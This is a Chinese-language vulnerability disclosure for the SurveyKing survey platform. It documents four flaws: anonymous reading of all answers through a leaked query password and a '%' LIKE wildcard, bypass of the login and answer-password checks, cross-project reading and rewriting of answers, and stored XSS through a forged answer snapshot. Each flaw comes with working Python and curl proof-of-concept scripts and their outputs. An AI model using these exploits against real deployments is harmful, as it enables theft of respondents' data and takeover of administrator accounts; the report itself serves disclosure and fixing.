SurveyKing 漏洞报告
软件名称:SurveyKing
开发者或厂商:北京橙宇言信科技有限公司
代码仓库:https://github.com/javahuang/SurveyKing
1. 未授权读取问卷的全部答卷
| 简要描述: | 攻击者仅凭公开问卷链接里的问卷 id,即可读取该问卷的全部答卷,包括结果查询页面中被隐藏的字段。 |
|---|---|
| 影响版本: | 1.13.2 |
| 前置条件: | 目标问卷已发布,并启用了结果查询。 |
漏洞成因
公开视图把 setting.submittedSetting 整块带出,结果查询的 password 因此出现在匿名响应里。相关代码如下:
// server/rdbms/src/main/java/cn/surveyking/server/domain/mapper/ProjectViewMapperImpl.java:105-142 commit 6e3e4ce795
protected ProjectSetting.AnswerSetting answerSettingToAnswerSetting(ProjectSetting.AnswerSetting answerSetting) {
...
answerSetting1.setLoginRequired(answerSetting.getLoginRequired());
answerSetting1.setQuestionNumber(answerSetting.getQuestionNumber());
...
return answerSetting1;
}
protected ProjectSetting projectSettingToProjectSetting(ProjectSetting projectSetting) {
...
projectSetting1.answerSetting(this.answerSettingToAnswerSetting(projectSetting.getAnswerSetting()));
projectSetting1.submittedSetting(projectSetting.getSubmittedSetting());
...
}
有了查询配置,攻击者就能取到查询 id 与密码。loadQuery 在请求里不带 answer 时不校验密码,匿名请求即可得到条件题的问题 id 与选项 id。相关代码如下:
// server/rdbms/src/main/java/cn/surveyking/server/impl/SurveyServiceImpl.java:948-967 commit 6e3e4ce795
private void validatePublicQuery(ProjectSetting.PublicQuery query, LinkedHashMap answer) {
...
if (StringUtils.isNotBlank(query.getPassword()) && answer != null) {
...
}
}
getQueryResult 把查询条件值交给 MyBatis 的 like,条件值里的 % 成为 SQL 通配符,一次请求便命中全部答卷。相关代码如下:
// server/rdbms/src/main/java/cn/surveyking/server/impl/SurveyServiceImpl.java:1008-1041 commit 6e3e4ce795
private List<Answer> findAnswerByQuery(PublicQueryRequest request, Tuple2<ProjectView, ProjectSetting.PublicQuery> projectAndQuery) {
...
List answer = this.answerService.list(... .like(Answer::getAnswer, this.buildLikeQueryConditionOfQuestion(...))));
}
private String buildLikeQueryConditionOfQuestion(SchemaHelper.TreeNode qNode, Map qValueObj) {
...
value = "\"" + value + "\"";
return String.format("{\"%s\":%s}", optionId, value);
}
得到 answerId 后,带 answerId 调用 loadProject,该分支在登录与问卷状态校验之前返回,并把答卷里的完整 answer 与 survey 一并给出。相关代码如下:
// server/rdbms/src/main/java/cn/surveyking/server/impl/SurveyServiceImpl.java:277-286 commit 6e3e4ce795
if (query.getAnswerId() != null) {
AnswerView answerView = this.getAnswerForProject(project.getId(), query.getAnswerId());
if (answerView != null) {
projectView.setAnswer(answerView.getAnswer());
if (answerView.getSurvey() != null) {
projectView.setSurvey(answerView.getSurvey());
}
}
return projectView;
}
复现环境搭建
实验环境按官方文档的单容器方式部署:
mkdir -p surveyking/{config,db,files,logs} && cd surveyking
docker run -d --name surveyking -p 1991:1991 \
-e SERVER_PORT=1991 \
-e JAVA_OPTS='-Xms256m -Xmx1g -Dfile.encoding=UTF-8' \
-v "$PWD/config:/app/config" -v "$PWD/db:/app/db" \
-v "$PWD/files:/app/files" -v "$PWD/logs:/app/logs" \
surveyking/surveyking:latest
打开 http://127.0.0.1:1991/setup,选择 H2 内置数据库并完成初始化。以下脚本由管理员创建一个已发布问卷,开启结果查询,并写入两条答卷:
import base64, httpx
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
base = "http://127.0.0.1:1991"
pk = httpx.get(base + "/api/system").json()["data"]["publicKey"]
key = serialization.load_der_public_key(base64.b64decode(pk))
enc = base64.b64encode(key.encrypt(b"123456", padding.PKCS1v15())).decode()
r = httpx.post(base + "/api/public/login", json={"username": "admin", "password": enc})
tok = next(x.split(";")[0].split("=", 1)[1] for x in r.headers.get_list("set-cookie") if x.startswith("sk-token="))
adm = httpx.Client(base_url=base, cookies={"sk-token": tok})
pub = httpx.Client(base_url=base)
def q(i, t):
return {"id": i, "title": t, "type": "FillBlank", "attribute": {}, "children": [{"id": i + "_1", "attribute": {}}]}
survey = {"id": "x", "title": "Employee salary survey", "attribute": {},
"children": [q("name", "Name"), q("phone", "Phone"), q("salary", "Salary (hidden)")]}
pid = adm.post("/api/project/create", json={"name": "Employee salary survey", "mode": "survey", "survey": survey}).json()["data"]["id"]
survey["id"] = pid
setting = {"status": 1, "mode": "survey", "answerSetting": {},
"submittedSetting": {"publicQuery": [{"id": "lookup", "title": "Lookup my result", "enabled": True,
"password": "LookupPwd#2026", "conditionQuestion": "#{name}",
"fieldPermission": {"name": 1, "phone": 1, "salary": 0}}]}}
adm.post("/api/project/update", json={"id": pid, "name": "Employee salary survey", "mode": "survey",
"survey": survey, "setting": setting})
for name, phone, salary in [("alice", "13000000001", "SALARY-33000"), ("bob", "13000000002", "SALARY-41000")]:
pub.post("/api/public/saveAnswer", json={"projectId": pid, "tempSave": 0, "answer": {
"name": {"name_1": name}, "phone": {"phone_1": phone}, "salary": {"salary_1": salary}}})
print(pid)
复现过程
匿名打开公开问卷页面,页面只显示三个问题,不含登录态:

管理员在数据页看到的答卷如下,Salary (hidden) 列在结果查询中被设置为不可见:

下面请求里的 pid 换成上一步脚本输出的值。以下脚本依次读取查询配置、读取查询表单、枚举全部答卷、逐条读取完整答卷:
import httpx
base = "http://127.0.0.1:1991"
pid = "RHgV6Z"
c = httpx.Client(base_url=base)
project = c.post("/api/public/loadProject", json={"id": pid}).json()["data"]
pc = project["setting"]["submittedSetting"]["publicQuery"][0]
print("[1]", pc)
form = c.post("/api/public/loadQuery", json={"id": pid, "resultId": pc["id"]}).json()["data"]["schema"]
option_id = form["children"][0]["children"][0]["id"]
print("[2]", form["children"][0]["id"], option_id)
res = c.post("/api/public/getQueryResult", json={"id": pid, "resultId": pc["id"],
"answer": {"password": {"password": pc["password"]}}, "query": {option_id: "%"}}).json()["data"]["answers"]
print("[3]", [a["answerId"] for a in res])
for a in res:
full = c.post("/api/public/loadProject", json={"id": pid, "answerId": a["answerId"]}).json()["data"]
print("[4]", a["answerId"], full["answer"])
输出如下:
[1] {'id': 'lookup', 'title': 'Lookup my result', 'enabled': True, 'password': 'LookupPwd#2026', 'conditionQuestion': '#{name}', 'fieldPermission': {'name': 1, 'phone': 1, 'salary': 0}}
[2] name name_1
[3] ['3ac7096a-cbfc-41b9-9958-6ed978934a46', '74dc1229-f1fd-4092-89ff-39eaecc2c7b5']
[4] 3ac7096a-cbfc-41b9-9958-6ed978934a46 {'name': {'name_1': 'alice'}, 'phone': {'phone_1': '13000000001'}, 'salary': {'salary_1': 'SALARY-33000'}}
[4] 74dc1229-f1fd-4092-89ff-39eaecc2c7b5 {'name': {'name_1': 'bob'}, 'phone': {'phone_1': '13000000002'}, 'salary': {'salary_1': 'SALARY-41000'}}
两条答卷的 salary 在结果查询里被设置为不可见,匿名请求仍然读到了原文。
2. 绕过答题登录与答题密码
| 简要描述: | 匿名客户端可以提交受保护的问卷,绕过“需登录”与“答题密码”,并把答卷记到其他用户名下。 |
|---|---|
| 影响版本: | 1.12.0 ~ 1.13.2 |
| 前置条件: | 目标存在已发布的问卷,该问卷启用了“需登录”或“答题密码”中的一项。 |
漏洞成因
“需登录”与“答题密码”只在 validateProject 与 convertAndValidateLoginFormIfNeeded 中校验,这两个方法由 loadProject 调用,saveAnswer 的写入路径不经过它们。相关代码如下:
// server/rdbms/src/main/java/cn/surveyking/server/impl/AnswerServiceImpl.java:291-304 commit 6e3e4ce795
public AnswerView saveAnswer(AnswerRequest request) {
...
Answer answer = this.answerViewMapper.fromRequest(request);
answer.setId(UUID.randomUUID().toString());
answer.setCreateAt(new Date());
this.save(this.beforeSaveAnswer(answer));
return (AnswerView)this.answerViewMapper.toView(answer);
}
“答题密码”的校验位于登录表单流程里:
// server/rdbms/src/main/java/cn/surveyking/server/impl/SurveyServiceImpl.java:1083-1088 commit 6e3e4ce795
if (answerSetting.getPassword() != null) {
loginRequired = true;
queryConditions.add(SchemaHelper.buildFillBlankQuerySchema(...extraPassword));
if (answer != null && !answerSetting.getPassword().equals(SchemaHelper.getLoginFormAnswer(answer, ...extraPassword))) {
throw new ErrorCodeException(ErrorCode.ValidationError);
}
}
答卷的提交人取自请求体。相关代码如下:
// server/rdbms/src/main/java/cn/surveyking/server/domain/mapper/AnswerViewMapperImpl.java:23-45 commit 6e3e4ce795
public Answer fromRequest(AnswerRequest request) {
...
answer.setCreateBy(request.getCreateBy());
return answer;
}
复现环境搭建
按第 1 节的方式重建一个全新实例并完成初始化。以下脚本创建一份启用了“需登录”与“答题密码”的问卷:
import base64, httpx
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
base = "http://127.0.0.1:1991"
pk = httpx.get(base + "/api/system").json()["data"]["publicKey"]
key = serialization.load_der_public_key(base64.b64decode(pk))
enc = base64.b64encode(key.encrypt(b"123456", padding.PKCS1v15())).decode()
r = httpx.post(base + "/api/public/login", json={"username": "admin", "password": enc})
tok = next(x.split(";")[0].split("=", 1)[1] for x in r.headers.get_list("set-cookie") if x.startswith("sk-token="))
adm = httpx.Client(base_url=base, cookies={"sk-token": tok})
survey = {"id": "x", "title": "Protected feedback survey", "attribute": {},
"children": [{"id": "q1", "title": "Your feedback", "type": "FillBlank",
"attribute": {}, "children": [{"id": "q1_1", "attribute": {}}]}]}
pid = adm.post("/api/project/create", json={"name": "Protected feedback survey", "mode": "survey", "survey": survey}).json()["data"]["id"]
survey["id"] = pid
adm.post("/api/project/update", json={"id": pid, "name": "Protected feedback survey", "mode": "survey",
"survey": survey, "setting": {"status": 1, "mode": "survey",
"answerSetting": {"loginRequired": True, "password": "AnswerPwd#2026"}}})
print(pid)
复现过程
下面请求里的 projectId 换成上一步脚本输出的值。
匿名打开问卷链接,页面要求填写用户名、密码与答题密码:

匿名提交答卷,服务端返回 200:
curl -s -X POST http://127.0.0.1:1991/api/public/saveAnswer \
-H 'Content-Type: application/json' \
-d '{"projectId":"vTi1G0","tempSave":0,"answer":{"q1":{"q1_1":"anonymous respondent"}}}'
输出如下:
{"code":200,"data":{"answerId":"c30e7516-8ef5-4d35-8962-9b6d242c3efb"}}
再次提交,并把 createBy 填成管理员的用户 id:
curl -s -X POST http://127.0.0.1:1991/api/public/saveAnswer \
-H 'Content-Type: application/json' \
-d '{"projectId":"vTi1G0","tempSave":0,"createBy":"1457995481966747649","answer":{"q1":{"q1_1":"forged by anonymous client"}}}'
输出如下:
{"code":200,"data":{"answerId":"9e89666d-df32-4a52-a380-42d47102f570"}}
管理员的数据页里,第一条答卷的提交人显示为 Admin:

3. 联动问卷跨项目读写他人答卷
| 简要描述: | 普通账号可以借选项联动问卷读取并改写其他租户问卷的答卷。 |
|---|---|
| 影响版本: | 1.12.0 ~ 1.13.2 |
| 前置条件: | 攻击者拥有可创建问卷的普通账号;目标问卷的问卷 id 与问题 id 可从公开链接和公开 schema 获得。 |
漏洞成因
联动配置保存在攻击者自己的问卷里,linkSurveyId 由配置者填写,服务端不校验它属于哪个项目。读取接口按该 id 在目标项目里做模糊查询,并把命中的答卷字段返回。相关代码如下:
// server/rdbms/src/main/java/cn/surveyking/server/impl/SurveyServiceImpl.java:475-498 commit 6e3e4ce795
public PublicLinkResult loadLinkResult(PublicLinkRequest request) {
...
for (SurveySchema.LinkSurvey linkSurvey : linkSurveys) {
Answer answer = (Answer)this.answerService.getOne(... .eq(Answer::getProjectId, linkSurvey.getLinkSurveyId())
.like(Answer::getAnswer, this.buildLinkLikeCondition(linkSurvey, request.getValue()))
.orderByDesc(BaseModel::getCreateAt)).last("limit 1"));
this.fillLinkFieldAndAnswer(answer != null ? answer.getAnswer() : null, linkSurvey.getLinkFields(), fillAnswer);
}
return result;
}
写入侧同样只看配置里的 id。命中目标答卷时改写其字段,未命中时在目标项目里新建答卷。相关代码如下:
// server/rdbms/src/main/java/cn/surveyking/server/impl/AnswerServiceImpl.java:784-815 commit 6e3e4ce795
private void updateLinkSurveyAnswer(Answer answer, ProjectView project) {
...
Answer linkedAnswer = (Answer)this.getOne(... .eq(Answer::getProjectId, linkSurvey.getLinkSurveyId())
.like(Answer::getAnswer, SchemaHelper.buildLinkLikeCondition(linkSurvey, optionValue))
.orderByDesc(BaseModel::getCreateAt)).last("limit 1"));
if (linkedAnswer != null) {
for (SurveySchema.LinkField linkField : linkSurvey.getLinkFields()) {
SchemaHelper.setQuestionValue(linkedAnswer.getAnswer(), linkField.getLinkQuestionId(), linkField.getLinkOptionId(), ...);
}
this.updateById(linkedAnswer);
}
}
复现环境搭建
按第 1 节的方式重建一个全新实例并完成初始化。以下脚本由管理员创建受害问卷并写入一条含密文的答卷,再创建一个只有建问卷权限的普通账号,由该账号创建带联动配置的问卷:
import base64, httpx
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
base = "http://127.0.0.1:1991"
def login(user, password):
pk = httpx.get(base + "/api/system").json()["data"]["publicKey"]
key = serialization.load_der_public_key(base64.b64decode(pk))
enc = base64.b64encode(key.encrypt(password.encode(), padding.PKCS1v15())).decode()
r = httpx.post(base + "/api/public/login", json={"username": user, "password": enc})
tok = next(x.split(";")[0].split("=", 1)[1] for x in r.headers.get_list("set-cookie") if x.startswith("sk-token="))
return httpx.Client(base_url=base, cookies={"sk-token": tok})
def q(i, t):
return {"id": i, "title": t, "type": "FillBlank", "attribute": {}, "children": [{"id": i + "_1", "attribute": {}}]}
adm = login("admin", "123456")
pub = httpx.Client(base_url=base)
survey = {"id": "x", "title": "Customer contact list", "attribute": {},
"children": [q("v1", "Customer name"), q("v2", "Private contact")]}
vpid = adm.post("/api/project/create", json={"name": "Customer contact list", "mode": "survey", "survey": survey}).json()["data"]["id"]
survey["id"] = vpid
adm.post("/api/project/update", json={"id": vpid, "name": "Customer contact list", "mode": "survey", "survey": survey,
"setting": {"status": 1, "mode": "survey", "answerSetting": {}, "submittedSetting": {}}})
pub.post("/api/public/saveAnswer", json={"projectId": vpid, "tempSave": 0,
"answer": {"v1": {"v1_1": "victim"}, "v2": {"v2_1": "VICTIM-SECRET-777"}}})
adm.post("/api/system/role/create", json={"name": "Survey editor", "code": "survey_editor", "remark": "demo",
"authorities": ["project", "project:list", "project:detail", "project:create", "project:update",
"answer", "answer:list", "answer:detail", "file", "file:detail", "file:list"]})
rid = next(r["id"] for r in adm.get("/api/system/role/list").json()["data"]["list"] if r["code"] == "survey_editor")
adm.post("/api/system/user/create", json={"username": "attacker", "password": "Attacker2026",
"name": "Attacker", "roles": [rid], "status": 1, "deptId": "1"})
atk = login("attacker", "Attacker2026")
asurvey = {"id": "x", "title": "Attacker survey", "attribute": {},
"children": [{"id": "a1", "title": "Link", "type": "FillBlank", "attribute": {},
"children": [{"id": "a1_1", "linkSurveys": [{"enableUpdate": True, "linkSurveyId": vpid,
"linkQuestionId": "v1", "linkOptionId": "v1_1", "linkType": "like",
"linkFields": [{"linkQuestionId": "v2", "linkOptionId": "v2_1",
"fillQuestionId": "a2", "fillOptionId": "a2_1"}]}]}]},
{"id": "a2", "title": "Filled", "type": "FillBlank", "attribute": {},
"children": [{"id": "a2_1", "attribute": {}}]}]}
apid = atk.post("/api/project/create", json={"name": "Attacker survey", "mode": "survey", "survey": asurvey}).json()["data"]["id"]
asurvey["id"] = apid
atk.post("/api/project/update", json={"id": apid, "name": "Attacker survey", "mode": "survey", "survey": asurvey,
"setting": {"status": 1, "mode": "survey", "answerSetting": {}, "submittedSetting": {}}})
print(vpid, apid)
复现过程
下面两个请求里的 projectId 换成上一步脚本输出的第二个 id。
匿名读取受害问卷的答卷:
curl -s -X POST http://127.0.0.1:1991/api/public/loadLinkResult \
-H 'Content-Type: application/json' \
-d '{"projectId":"DJV25U","questionId":"a1","optionId":"a1_1","value":"%"}'
输出如下:
{"code":200,"data":{"answer":{"a2":{"a2_1":"VICTIM-SECRET-777"}}}}
匿名改写同一条答卷:
curl -s -X POST http://127.0.0.1:1991/api/public/saveAnswer \
-H 'Content-Type: application/json' \
-d '{"projectId":"DJV25U","tempSave":0,"answer":{"a1":{"a1_1":"%"},"a2":{"a2_1":"PWNED-BY-LINK"}}}'
输出如下:
{"code":200,"data":{"answerId":"3df53bf5-9cfd-4a47-a45e-7727efa19929"}}
管理员刷新受害问卷的数据页,Private contact 字段已被改写:

4. 匿名答卷者伪造答卷快照,管理员查看答卷时被 XSS
| 简要描述: | 匿名答卷者在提交答卷时附带一份伪造的问卷快照,管理员查看这条答卷时脚本在管理员浏览器里执行,攻击者借此接管受害者账号。 |
|---|---|
| 影响版本: | 1.13.0 ~ 1.13.2 |
| 前置条件: | 目标存在已发布的公开问卷,管理员会查看该问卷的答卷。 |
漏洞成因
答卷请求里的 survey 字段会被原样映射进答卷记录。相关代码如下:
// server/rdbms/src/main/java/cn/surveyking/server/domain/mapper/AnswerViewMapperImpl.java:23-45 commit 6e3e4ce795
public Answer fromRequest(AnswerRequest request) {
...
answer.setSurvey(request.getSurvey());
...
}
保存答卷时,优先采用请求里的快照,项目自身的问卷只作为兜底。相关代码如下:
// server/rdbms/src/main/java/cn/surveyking/server/impl/AnswerServiceImpl.java:731-743 commit 6e3e4ce795
private Answer beforeSaveAnswer(Answer answer) {
...
SurveySchema answerSurvey = answer.getSurvey() != null ? answer.getSurvey()
: (previousAnswer != null && previousAnswer.getSurvey() != null ? previousAnswer.getSurvey() : project.getSurvey());
this.fileService.validateAndBindAnswerFiles(answer.getProjectId(), answer.getId(), answerSurvey, answer.getAnswer(), ...);
...
}
管理员的数据页用这条记录里的快照渲染标题,渲染前把标题交给一个把 HTML 转成文本的函数。该函数创建游离的 div,把标题赋给 innerHTML,再取 textContent。相关代码如下:
// 官方镜像 v1.13.2 构建产物 static/umi.ded23be0.js revision 6e3e4ce795
function a(e){var t=document.createElement("div");
function r(e){...}
return t.innerHTML=e||"",r(t),t.textContent||t.innerText||""}
innerHTML 赋值时,标题里的 <img src=x onerror=...> 会被解析并触发 onerror,脚本随即执行。
复现环境搭建
按第 1 节的方式重建一个全新实例并完成初始化。以下脚本创建一个已发布的问卷,其中含填空题 q1:
import base64, httpx
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
base = "http://127.0.0.1:1991"
pk = httpx.get(base + "/api/system").json()["data"]["publicKey"]
key = serialization.load_der_public_key(base64.b64decode(pk))
enc = base64.b64encode(key.encrypt(b"123456", padding.PKCS1v15())).decode()
r = httpx.post(base + "/api/public/login", json={"username": "admin", "password": enc})
tok = next(x.split(";")[0].split("=", 1)[1] for x in r.headers.get_list("set-cookie") if x.startswith("sk-token="))
adm = httpx.Client(base_url=base, cookies={"sk-token": tok})
survey = {"id": "x", "title": "F7 Demo Survey", "attribute": {},
"children": [{"id": "q1", "title": "q1", "type": "FillBlank", "attribute": {},
"children": [{"id": "q1_1", "attribute": {}}]}]}
pid = adm.post("/api/project/create", json={"name": "F7 Demo Survey", "mode": "survey", "survey": survey}).json()["data"]["id"]
survey["id"] = pid
adm.post("/api/project/update", json={"id": pid, "name": "F7 Demo Survey", "mode": "survey", "survey": survey,
"setting": {"status": 1, "mode": "survey", "answerSetting": {}, "submittedSetting": {}}})
print(pid)
复现过程
下面请求里的两个 Y0ZuZa 换成上一步脚本输出的问卷 id。
匿名提交答卷,请求体自带一份把 title 换成恶意 HTML 的问卷快照:
import httpx
payload = "<img src=x onerror=\"fetch('/api/system/role/list').then(r=>r.text()).then(t=>{document.documentElement.insertAdjacentHTML('afterbegin','<div style=background:#c00;color:#fff;font-family:monospace;font-size:26px;padding:12px>ANSWER SNAPSHOT XSS PATH='+location.pathname+'</div><pre style=font-family:monospace;font-size:14px;white-space:pre-wrap>'+t.slice(0,300)+'</pre>')})\">"
snapshot = {"id": "Y0ZuZa", "title": payload, "attribute": {},
"children": [{"id": "q1", "title": "q1", "type": "FillBlank", "attribute": {},
"children": [{"id": "q1_1", "attribute": {}}]}]}
r = httpx.post("http://127.0.0.1:1991/api/public/saveAnswer", json={
"projectId": "Y0ZuZa", "tempSave": 0, "answer": {"q1": {"q1_1": "hello"}},
"survey": snapshot})
print(r.text)
输出如下:
{"code":200,"data":{"answerId":"36407504-06c7-48dd-9112-ecdd65d46b79"}}
管理员在“数据”页选中这条答卷:

点击“Edit data”打开“Record details”弹窗,脚本执行,并把管理员角色接口的返回显示出来:
